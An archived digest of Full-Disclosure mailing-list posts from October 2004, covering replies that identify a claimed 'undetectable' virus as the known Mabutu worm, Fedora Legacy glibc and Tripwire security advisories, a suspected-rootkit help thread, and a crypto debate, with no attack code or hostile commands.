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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- application/octet-stream attachment: Toy.com
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: Barrie Dempster (barrie
reboot-robot.net)
Date: Sat Oct 23 2004 - 02:32:07 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
This virus is very detectable, It is important to verify a file with a
variety of vendors before labelling it "new" (never - "undetectable").
Your web page only proved that Hotmail's AV scanners didn't pick it up,
nothing more.
---- Pasted results from www.virustotal.com ----
Results of a file scan
This is the report of the scanning done over "details.scr" file that
VirusTotal processed on 10/23/2004 at 09:32:12.
Antivirus
Version
Update
Result
BitDefender
7.0
10.22.2004
Win32.Mabutu.A
mm
ClamWin
devel-20041018
10.22.2004
Worm.Mabutu.A-unp
eTrust-Iris
7.1.194.0
10.22.2004
Win32/Mabutu.A.Worm
F-Prot
3.15b
10.22.2004
W32/Mabuto.B
mm
Kaspersky
4.0.2.24
10.23.2004
I-Worm.Mabutu.a
NOD32v2
1.904
10.23.2004
Win32/Mabutu.A
Norman
5.70.10
10.22.2004
Mabutu.A
mm
Panda
7.02.00
10.22.2004
W32/Mabutu.A.worm
Sybari
7.5.1314
10.23.2004
Mabutu.A
m
Symantec
8.0
10.22.2004
W32.Mota.B
mm
---- END OF Pasted results from www.virustotal.com ----
On Fri, 2004-10-22 at 22:28 +0000, Farrukh Hussain wrote:
> Hi,
> Today I got e-mail from "69.197.83.68" CANADA ISP which has
> undetectable virus. Well I downloaded this file but I didn't run it
> because I know it is virus. and now I am complaining to "rogers.com"
> ISP about this matter. Because I got this file from this ISP. It is
> abuse of internet service. I hope they will take some action about it.
> And also i am informing this matter to security group.
>
> http://www.Anti-Hacking.info/undetectable_virus/index.html
>
>
>
> Best Regards from,
> Farrukh Hussain
> Security Group in Pakistan.
>
> _______________________________________________ Full-Disclosure - We
> believe in it. Charter:
> http://lists.netsys.com/full-disclosure-charter.html
--
Barrie Dempster (zeedo) - Fortiter et Strenue
http://www.bsrf.org.uk
[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
iD8DBQBBegj3sYtTQpYCX9ARArygAJ4i90e3tqWg5GV3E4Lwe8j2h9IigwCfbaIx
voAhkmh/9YzlT+YEahGhacM=
=3GJL
-----END PGP SIGNATURE-----
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Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: Nick FitzGerald (nick
virus-l.demon.co.uk)
Date: Sat Oct 23 2004 - 05:40:11 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Andrew Smith to Farrukh Hussain:
> > Today I got e-mail from "69.197.83.68" CANADA ISP which has undetectable
> > virus.
>
> This just means that you or your A/V hasn't updated their virus
> definitions. Try multiple A/V programs, this will cover a wider range
> of 'viruses'.
_OR_ it means Farrukh was depending on an unreliable or outdated virus
scanner.
Scanned with 21 different scanners a few hours after the message was
posted and 20 of them detected it. This was not due to some recent (as
in the preceding few hours) rush of updates -- most web descriptions
agree that the virus they detected was first seen very late in July,
with a second variant a few days later, early in August.
That result _includes_ the same scanner (by name) that Hotmail
reputedly uses, but then, Hotmail failing to reliably keep its scanner
up to date, and/or the supplier of said scanner failing to provide
reliable updates to Hotmail are not exactly news, and it has been long
suspected that Hotmail's virus scanning is designed to "fail open"
(i.e. pass on Email that has not been scanned but report it as if it
has been scanned and found "not infected").
In short, this virus has been widely detected since late July/early
August by almost all "Western" virus detection engines, so the OP's
report and concerns would seem more than a tad misdirected...
--
Nick FitzGerald
Computer Virus Consulting Ltd.
Ph/FAX: +64 3 3529854
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[Full-Disclosure] [FLSA-2004:1947] Updated glibc packages fix flaws
From: Marc Deslauriers (marcdeslauriers
videotron.ca)
Date: Sat Oct 23 2004 - 06:28:43 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----------------------------------------------------------------------
Fedora Legacy Update Advisory
Synopsis: Updated glibc packages fix flaws
Advisory ID: FLSA:1947
Issue date: 2004-10-23
Product: Red Hat Linux
Keywords: Bugfix
Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=1947
CVE Names: CAN-2002-0029
-----------------------------------------------------------------------
-----------------------------------------------------------------------
1. Topic:
Updated glibc packages that fix a security flaw in the resolver as well
as dlclose handling are now available.
The GNU libc packages (known as glibc) contain the standard C libraries
used by applications.
2. Relevant releases/architectures:
Red Hat Linux 7.3 - i386
3. Problem description:
A security audit of glibc revealed a flaw in the resolver library which
was originally reported as affecting versions of ISC BIND 4.9. This flaw
also applied to glibc versions before 2.3.2. An attacker who is able to
send DNS responses (perhaps by creating a malicious DNS server) could
remotely exploit this vulnerability to execute arbitrary code or cause a
denial of service. The Common Vulnerabilities and Exposures project
(cve.mitre.org) has assigned the name CAN-2002-0029 to this issue.
All users of glibc should upgrade to these updated packages, which
resolve these issues.
To update all RPMs for your particular architecture, run:
rpm -Fvh [filenames]
where [filenames] is a list of the RPMs you wish to upgrade. Only those
RPMs which are currently installed will be updated. Those RPMs which
are not installed but included in the list will not be updated. Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.
Please note that this update is also available via yum and apt. Many
people find this an easier way to apply updates. To use yum issue:
yum update
or to use apt:
apt-get update; apt-get upgrade
This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system. This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www fedoralegacy.org/docs for directions on how to
configure yum and apt-get.
5. Bug IDs fixed:
http://bugzilla.fedora.us - bug #1947
6. RPMs required:
Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/glibc-2.2.5-44.legacy.3.src.rpm
i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-2.2.5-44.legacy.3.i686.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-common-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-debug-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-debug-2.2.5-44.legacy.3.i686.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-debug-static-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-devel-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-profile-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/glibc-utils-2.2.5-44.legacy.3.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/nscd-2.2.5-44.legacy.3.i386.rpm
7. Verification:
SHA1 sum Package Name
---------------------------------------------------------------------------
787b02c547d9578eab2112b681d58ce40589dd37
7.3/updates/i386/glibc-2.2.5-44.legacy.3.i386.rpm
d73f3bf9fd6c094dbf3d7c0409c0d34de40a1cfd
7.3/updates/i386/glibc-2.2.5-44.legacy.3.i686.rpm
df3fdb0f5d327b10bb285b06a5f1422642b980b7
7.3/updates/i386/glibc-common-2.2.5-44.legacy.3.i386.rpm
61e6c8521d67f38e96c679b3d263f6dccfb43b75
7.3/updates/i386/glibc-debug-2.2.5-44.legacy.3.i386.rpm
d5b070b85a0a57702f3259790e59707dd8d67ef1
7.3/updates/i386/glibc-debug-2.2.5-44.legacy.3.i686.rpm
e8988fb212ad671469f190f01b35c7664298ea58
7.3/updates/i386/glibc-debug-static-2.2.5-44.legacy.3.i386.rpm
f2043d369aeb8a8a39b0f1e429fdbcf08dcefd5b
7.3/updates/i386/glibc-devel-2.2.5-44.legacy.3.i386.rpm
5902d254f9926b0c532e8af5e0fe3ed22e105215
7.3/updates/i386/glibc-profile-2.2.5-44.legacy.3.i386.rpm
6c8b2d53b0626265c180ba09a1a6161e4be6765d
7.3/updates/i386/glibc-utils-2.2.5-44.legacy.3.i386.rpm
26282373e4cd3770b40b3cf10dc17b7f6f23ce6a
7.3/updates/i386/nscd-2.2.5-44.legacy.3.i386.rpm
b8f02cd099305c9866715493147ca9c9dcecfff0
7.3/updates/SRPMS/glibc-2.2.5-44.legacy.3.src.rpm
These packages are GPG signed by Fedora Legacy for security. Our key is
available from http://www.fedoralegacy org/about/security.php
You can verify each package with the following command:
rpm --checksig -v <filename>
If you only wish to verify that each package has not been corrupted or
tampered with, examine only the sha1sum with the following command:
sha1sum <filename>
8. References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0029
http://www.kb.cert.org/vuls/id/844360
9. Contact:
The Fedora Legacy security contact is <secnotice
fedoralegacy.org>. More
project details at http://www.fedoralegacy.org
---------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQBBekBrLMAs/0C4zNoRAseXAKC6IGUi8a0E1KwzE3XWlQEBbfDTEwCeM9mF
m9tX/zENMqWea1g6qZ9j4EQ=
=2dsU
-----END PGP SIGNATURE-----
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Re: [Full-Disclosure] Owned by an iPod
From: Matt Johnston (mattj
tartarus.uwa.edu.au)
Date: Sat Oct 23 2004 - 05:09:32 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, Oct 22, 2004 at 10:53:55AM -0700, Dragos Ruiu wrote:
> On October 21, 2004 10:22 pm, Rosalina Hamar wrote:
> > i heart about that demonstration a couple of weeks ago. now
> > it's an official announcement at parsec.jp [0]. since there is not
> > much technical info on that issue in the announcement, i googled
> > around and found a link to an interesting post about the IEEE1394
> > OHCI interface on kerneltrap [1] back in 2002.
> >
> > shish ...
> > rosa
> >
> > [0] http://pacsec.jp/advisories.html
> > [1] http://kerneltrap.org/node/view/145
>
> More technical information on this vulnerability,
> and some of the other vulnerabilities, fixes and
> techniques from the conference will be published
> after the conference.
At least on Mac OS X, a workaround appears to be enabling
an openfirmware password[1]. I assume that most firewire
chipsets would have the capability to disable raw memory
access if the OS asks nicely? Of course whether it's
disabled before the OS loads is another matter...
Matt
[1] http:/matt.ucc.asn.au/apple/
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[Full-Disclosure] [FLSA-2004:1719] Updated Tripwire packages fix security flaw
From: Marc Deslauriers (marcdeslauriers
videotron.ca)
Date: Sat Oct 23 2004 - 06:27:30 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----------------------------------------------------------------------
Fedora Legacy Update Advisory
Synopsis: Updated Tripwire packages fix security flaw
Advisory ID: FLSA:1719
Issue date: 2004-10-23
Product: Red Hat Linux
Keywords: Security
Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=1719
CVE Names: CAN-2004-0536
-----------------------------------------------------------------------
-----------------------------------------------------------------------
1. Topic:
Updated Tripwire packages that fix a format string security
vulnerability are now available.
2. Relevant releases/architectures:
Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
3. Problem description:
Tripwire is a system integrity assessment tool.
Paul Herman discovered a format string vulnerability in Tripwire version
2.3.1 and earlier. If Tripwire is configured to send reports via email,
a local user could gain privileges by creating a carefully crafted file.
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2004-0536 to this issue.
Users of Tripwire are advised to upgrade to this erratum package which
contains a backported security patch to correct this issue.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
To update all RPMs for your particular architecture, run:
rpm -Fvh [filenames]
where [filenames] is a list of the RPMs you wish to upgrade. Only those
RPMs which are currently installed will be updated. Those RPMs which
are not installed but included in the list will not be updated. Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.
Please note that this update is also available via yum and apt. Many
people find this an easier way to apply updates. To use yum issue:
yum update
or to use apt:
apt-get update; apt-get upgrade
This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system. This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www fedoralegacy.org/docs for directions on how to
configure yum and apt-get.
5. Bug IDs fixed:
http://bugzilla.fedora.us - 1719 - Format String Vulnerability in
Tripwire
6. RPMs required:
Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/tripwire-2.3.1-10.1.legacy.7x.src.rpm
i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tripwire-2.3.1-10.1.legacy.7x.i386.rpm
Red Hat Linux 9:
SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/tripwire-2.3.1-17.2.legacy.9.src.rpm
i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/tripwire-2.3.1-17.2.legacy.9.i386.rpm
7. Verification:
SHA1 sum Package Name
------------------------------------------------------------------------
1b2a8875e86492065f53db69d04de4a452fb1c5f
7.3/updates/i386/tripwire-2.3.1-10.1.legacy.7x.i386.rpm
3d1d0f2a2b4b27c1e5d3b05dbea78d95c70ddcc2
7.3/updates/SRPMS/tripwire-2.3.1-10.1.legacy.7x.src.rpm
cdc032af7c3fa3cfbe153c85a0044bdbbb6326b5
9/updates/i386/tripwire-2.3.1-17.2.legacy.9.i386.rpm
263704b1799204e8ee98b4329cddf7b492d8fff2
9/updates/SRPMS/tripwire-2.3.1-17.2.legacy.9.src.rpm
These packages are GPG signed by Fedora Legacy for security. Our key is
available from http://www.fedoralegacy org/about/security.php
You can verify each package with the following command:
rpm --checksig -v <filename>
If you only wish to verify that each package has not been corrupted or
tampered with, examine only the sha1sum with the following command:
sha1sum <filename>
8. References:
http://marc.theaimsgroup.com/?l=bugtraq&m=108668791510153
http://lw.ftw.zamosc.pl/lha-exploit.txt
9. Contact:
The Fedora Legacy security contact is <secnotice
fedoralegacy.org>. More
project details at http://www.fedoralegacy.org
---------------------------------------------------------------------
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Version: GnuPG v1.2.4 (GNU/Linux)
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fVuHqnCklAZplxt3m/rWtLk=
=OxE7
-----END PGP SIGNATURE-----
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[Full-Disclosure] Help, possible rootkit
From: BillyBob (billybobknob
hotmail.com)
Date: Sat Oct 23 2004 - 11:05:29 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
I have noticed that my XP system is behaving like I have a rootkit.
- My mouse is jumpy (it freezes for a second when I move it around the
desktop) and the minimized Taskmanager in the systray shows I have around
25 - 30 % usage, but when I open it, there is no process listed using this
much.
- I did a netstat, fport, openports and none of these show that I have any
odd ports open or any connections established.
- even when I disconnect from the Internet these symptoms do not stop. They
stop if I reboot, but then start again.
I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and they
could not find anything.
Any more suggestions ?
Any more rootkit finding tools for Windows ?
Thanks
Bill
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: Isshogei (isshogei
isshogei.de)
Date: Sat Oct 23 2004 - 11:14:00 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
sers, i have download this virus and check it with my AVG. he found it. better u use this software --> www.grisoft.com
here a log from AVG:
C:\Documents and Settings\USERNAME\DESKTOP\DETAILS.ZIP:\details\details..scr Virus identified I-Worm/Mabutu
regards
Isshogei
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Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: Isshogei (isshogei
isshogei.de)
Date: Sat Oct 23 2004 - 11:10:51 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
sers, i have download this virus and check it with my AVG. he found it. better u use this software --> www.grisoft.com
regards
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] (no subject)
patrickh
ats-tech.net
Date: Sat Oct 23 2004 - 11:55:09 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Please make a note of this email address change.
For business related items, please contact me at patrick
hendricknetworks.com
For personal emails, please contact me at patrick
fedoracore.org
Thank you!
_______________________________________________
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Re: [Full-Disclosure] Help, possible rootkit
From: Michael Rutledge (michael4447
gmail.com)
Date: Sat Oct 23 2004 - 12:10:32 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
What type of software do you use on a regular basis, and what software
have you installed recently? Is this a new install of XP? Also, have
you installed SP2?
Give us a little background about your system so that we can rule out
common software gliches.
-Michael
On Sat, 23 Oct 2004 13:05:29 -0300, BillyBob <billybobknob
hotmail.com> wrote:
> I have noticed that my XP system is behaving like I have a rootkit.
>
> - My mouse is jumpy (it freezes for a second when I move it around the
> desktop) and the minimized Taskmanager in the systray shows I have around
> 25 - 30 % usage, but when I open it, there is no process listed using this
> much.
> - I did a netstat, fport, openports and none of these show that I have any
> odd ports open or any connections established.
> - even when I disconnect from the Internet these symptoms do not stop. They
> stop if I reboot, but then start again.
>
> I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and they
> could not find anything.
>
> Any more suggestions ?
> Any more rootkit finding tools for Windows ?
>
> Thanks
> Bill
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
_______________________________________________
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Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
RE: [Full-Disclosure] Help, possible rootkit
From: ISNYC (admin
infosecnyc.com)
Date: Sat Oct 23 2004 - 13:24:37 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
I wouldnt run detection tools from the OS, use a BootCD.
Pref: FIRE or Knoppix/Knoppix-STD
FIRE by DMZ Services Inc.
http://fire.dmzs.com/
Knoppix STD 0.1
http://www.knoppix-std.org/
KNOPPIX Bootable Linux CD
http://www.knopper.net/knoppix/index-en.html
Good Luck,
Dominick S.
-----Original Message-----
From: full-disclosure-admin
lists.netsys.com
[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
Sent: Saturday, October 23, 2004 12:05 PM
To: Full Disclosure
Subject: [Full-Disclosure] Help, possible rootkit
I have noticed that my XP system is behaving like I have a rootkit.
- My mouse is jumpy (it freezes for a second when I move it around the
desktop) and the minimized Taskmanager in the systray shows I have around 25
- 30 % usage, but when I open it, there is no process listed using this
much.
- I did a netstat, fport, openports and none of these show that I have any
odd ports open or any connections established.
- even when I disconnect from the Internet these symptoms do not stop. They
stop if I reboot, but then start again.
I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and they
could not find anything.
Any more suggestions ?
Any more rootkit finding tools for Windows ?
Thanks
Bill
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
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Full-Disclosure - We believe in it.
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Re: [Full-Disclosure] Crypto and Primes
From: Andrew (notes
shaw.ca)
Date: Sat Oct 23 2004 - 13:25:16 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
And .. where would you get all of those primes? My rough estimate says
that even if every person on the planet (6,000,000,000) turned on their PC
capable of generating random 512 bit primes at the rate of 100 trillion
(100,000,000,000,000) primes per second it would still take way more than
1e100 TIMES the age of the universe(!) to even bring the chances of getting
a particular 512 bit prime to the odds of 1 in a billion.
Age of the universe given as 18 billion years, which is rounded up to the
highest billion years from the oldest estimate, found at:
http://www.astro.ucla.edu/~wright/age.html ymmv.
Reality parody. Not to be taken seriously.
Professional driver on a closed course.
Do not try this at home.
- A
At 07:33 PM 10/22/2004, Jeremy Bishop wrote:
>On Friday 22 October 2004 14:31, Daniel Sichel wrote:
>
> > Depending on how rigourous you are being, the large in large numbers
> > is a relative term. I know from talking to someone who has worked in
> > for real government crypto that there is enough storage space to
> > create a lookup db of a good chunk (if not all) of the PGP crypto
> > keys in use for common key sizes (512 and 1024). I doubt SSL is less
> > vulnerable. I guess there's force, brute force, and brute force with
> > taxpayer dollars.
>
>If you are speaking of a database in which you could look up different
>keys, of course it's possible. I suggest http://pgp.mit.edu/ for an
>example of such a system.
>
>If you are thinking of the primes involved in these keys, I would like
>to direct your attention to this quote:
>
>----
>RSA is typically performed using 512bit prime numbers. There are
>approximately 3.778e151 such prime numbers. Using the advanced storage
>technology available to the NSA, it should be possible to store a 512
>bit number in a single hydrogen atom. A typical universe (e.g. ours)
>contains approximately 1e90 hydrogen atoms. If the NSA has hidden
>3.778e61 universes in an inconspicious little building in Maryland,
>astronomers should notice some deviations in the gravity field in the
>area.
>
>(HansM; http://web.ukonline.co.uk/eric.price/humour/hum0110.htm)
>----
>
>A more interesting question might be, in this case, how would a
>government know which of those primes have been used. This information
>would be feasible to store, but would require compromising just about
>every random number generator in use by the crypto-fanatics who make
>use of PGP.
>
> > Also with cheapo Linux clusters I would think a determined
> > hackmeister could do a crack on large prime based crypto, whether
> > that would be computationally feasible in a relevant time frame, I
> > don't know. I do know my gut tells me SSL is cryptographically weak
> > and I refuse to use it in place of IPSEC.
>
>In that case, I assume you are using IPSEC with shared secrets instead
>of certificates, no?
>
>--
>The universe does not have laws -- it has habits, and habits can
>be broken.
> -- BSD fortune file
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Re: [Full-Disclosure] Windows 2000 Remote Buffer Overflow by class101
From: J.A. Terranson (measl
mfn.org)
Date: Sat Oct 23 2004 - 13:08:27 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, 22 Oct 2004, Danny wrote:
> > "Stack based overflow, bug discovered by Luigi Auriemma
> > aluigi.altervista.org
> > Tested working on Win2K, This public version crash on any WinXP, read
> > the code why.
> > The exploit bind a shellcode on the victim port 101."
>
> What does Microsoft say in response?
In a news conference where Mr. Bill was approached with this very
question, he is reported to have stated that "The Windows Operating System
is the most secure piece of crap, er, um, code ever written. Micro$loth
emphatically denies that this is anything but the most minor of issues,
and doesn't even rise to the level of threat necessary to achieve public
commentary. Therefore, Micro$loth has no comment. Thank you, and good
night.".
--
Yours,
J.A. Terranson
sysadmin
mfn.org
0xBD4A95BF
"An ill wind is stalking
while evil stars whir
and all the gold apples
go bad to the core"
S. Plath, Temper of Time
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RE: [Full-Disclosure] Help, possible rootkit
From: Alan Melia (Melmac) (alanme
melmac.co.uk)
Date: Sat Oct 23 2004 - 14:47:15 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
First check to see what processes are running. TaskList is built in but I
would recommend.
http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
Get to know your machine and what processes are running normally. With
25-30% CPU it should stick out like a sore thumb.
Oh yeah don't run as admin (see http://blogs.msdn.com/aaron_margosis).
Alan
-----Original Message-----
From: full-disclosure-admin
lists.netsys.com
[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
Sent: 23 October 2004 17:05
To: Full Disclosure
Subject: [Full-Disclosure] Help, possible rootkit
I have noticed that my XP system is behaving like I have a rootkit.
- My mouse is jumpy (it freezes for a second when I move it around the
desktop) and the minimized Taskmanager in the systray shows I have around
25 - 30 % usage, but when I open it, there is no process listed using this
much.
- I did a netstat, fport, openports and none of these show that I have any
odd ports open or any connections established.
- even when I disconnect from the Internet these symptoms do not stop. They
stop if I reboot, but then start again.
I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and they
could not find anything.
Any more suggestions ?
Any more rootkit finding tools for Windows ?
Thanks
Bill
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
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- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Help, possible rootkit
From: BillyBob (billybobknob
hotmail.com)
Date: Sat Oct 23 2004 - 15:30:22 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
I have ran Process Explorer, Code Stuff Starter but nothing shows up in the
list as using this 25-30% of my CYP. I also updated and ran PestPatrol,
NortonAV, etc but nothing is detected which is why I think I have a rootkit
that has patched the kernel and therefore not allowing any of these programs
to detect it.
Anything else ?
----- Original Message -----
From: "Alan Melia (Melmac)" <alanme
melmac.co.uk>
To: "'BillyBob'" <billybobknob
hotmail.com>; "'Full Disclosure'"
<full-disclosure
lists.netsys.com>
Sent: Saturday, October 23, 2004 4:47 PM
Subject: RE: [Full-Disclosure] Help, possible rootkit
> First check to see what processes are running. TaskList is built in but I
> would recommend.
> http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
>
> Get to know your machine and what processes are running normally. With
> 25-30% CPU it should stick out like a sore thumb.
>
> Oh yeah don't run as admin (see )http://blogs.msdn.com/aaron_margosis.
>
> Alan
>
>
> -----Original Message-----
> From: full-disclosure-admin
lists.netsys.com
> [mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
> Sent: 23 October 2004 17:05
> To: Full Disclosure
> Subject: [Full-Disclosure] Help, possible rootkit
>
> I have noticed that my XP system is behaving like I have a rootkit.
>
> - My mouse is jumpy (it freezes for a second when I move it around the
> desktop) and the minimized Taskmanager in the systray shows I have around
> 25 - 30 % usage, but when I open it, there is no process listed using this
> much.
> - I did a netstat, fport, openports and none of these show that I have any
> odd ports open or any connections established.
> - even when I disconnect from the Internet these symptoms do not stop.
They
> stop if I reboot, but then start again.
>
> I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and
they
> could not find anything.
>
> Any more suggestions ?
> Any more rootkit finding tools for Windows ?
>
> Thanks
> Bill
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
_______________________________________________
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Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
RE: [inbox] Re: [Full-Disclosure] Help, possible rootkit
From: Exibar (exibar
thelair.com)
Date: Sat Oct 23 2004 - 15:45:30 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Perhaps is a piece of spyware and not a rootkit afterall? Spyware would be
a more common item to find on a computer system than a rootkit. Run
Spoybot: search and destroy and Adaware on your machine.
How up to date is your Antivirus as well? Did you run a full antivirus
scan on your system to rule out a virus?
Exibar
> -----Original Message-----
> From: Michael Rutledge [mailto:michael4447
gmail.com]
> Sent: Saturday, October 23, 2004 1:11 PM
> To: BillyBob
> Cc: Full Disclosure
> Subject: [inbox] Re: [Full-Disclosure] Help, possible rootkit
>
>
> What type of software do you use on a regular basis, and what software
> have you installed recently? Is this a new install of XP? Also, have
> you installed SP2?
>
> Give us a little background about your system so that we can rule out
> common software gliches.
>
> -Michael
>
>
> On Sat, 23 Oct 2004 13:05:29 -0300, BillyBob
> <billybobknob
hotmail.com> wrote:
> > I have noticed that my XP system is behaving like I have a rootkit.
> >
> > - My mouse is jumpy (it freezes for a second when I move it around the
> > desktop) and the minimized Taskmanager in the systray shows I
> have around
> > 25 - 30 % usage, but when I open it, there is no process listed
> using this
> > much.
> > - I did a netstat, fport, openports and none of these show that
> I have any
> > odd ports open or any connections established.
> > - even when I disconnect from the Internet these symptoms do
> not stop. They
> > stop if I reboot, but then start again.
> >
> > I have ran VICE, Klister, PatchFinder and RkDetect from
> rootkit.com and they
> > could not find anything.
> >
> > Any more suggestions ?
> > Any more rootkit finding tools for Windows ?
> >
> > Thanks
> > Bill
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
_______________________________________________
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- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: Barrie Dempster (barrie
reboot-robot.net)
Date: Sat Oct 23 2004 - 17:49:12 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
This virus is very detectable, It is important to verify a file with a
variety of vendors before labelling it "new" (never - "undetectable").
Your web page only proved that Hotmail's AV scanners didn't pick it up,
nothing more.
---- Pasted results from www.virustotal.com ----
Results of a file scan
This is the report of the scanning done over "details.scr" file that
VirusTotal processed on 10/23/2004 at 09:32:12.
Antivirus
Version
Update
Result
BitDefender
7.0
10.22.2004
Win32.Mabutu.A
mm
ClamWin
devel-20041018
10.22.2004
Worm.Mabutu.A-unp
eTrust-Iris
7.1.194.0
10.22.2004
Win32/Mabutu.A.Worm
F-Prot
3.15b
10.22.2004
W32/Mabuto.B
mm
Kaspersky
4.0.2.24
10.23.2004
I-Worm.Mabutu.a
NOD32v2
1.904
10.23.2004
Win32/Mabutu.A
Norman
5.70.10
10.22.2004
Mabutu.A
mm
Panda
7.02.00
10.22.2004
W32/Mabutu.A.worm
Sybari
7.5.1314
10.23.2004
Mabutu.A
m
Symantec
8.0
10.22.2004
W32.Mota.B
mm
---- END OF Pasted results from www.virustotal.com ----
On Fri, 2004-10-22 at 22:28 +0000, Farrukh Hussain wrote:
> Hi,
> Today I got e-mail from "69.197.83.68" CANADA ISP which has
> undetectable virus. Well I downloaded this file but I didn't run it
> because I know it is virus. and now I am complaining to "rogers.com"
> ISP about this matter. Because I got this file from this ISP. It is
> abuse of internet service. I hope they will take some action about it.
> And also i am informing this matter to security group.
>
> http://www.Anti-Hacking.info/undetectable_virus/index.html
>
>
>
> Best Regards from,
> Farrukh Hussain
> Security Group in Pakistan.
>
> _______________________________________________ Full-Disclosure - We
> believe in it. Charter:
> http://lists.netsys.com/full-disclosure-charter.html
--
Barrie Dempster (zeedo) - Fortiter et Strenue
http://www.bsrf.org.uk
[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
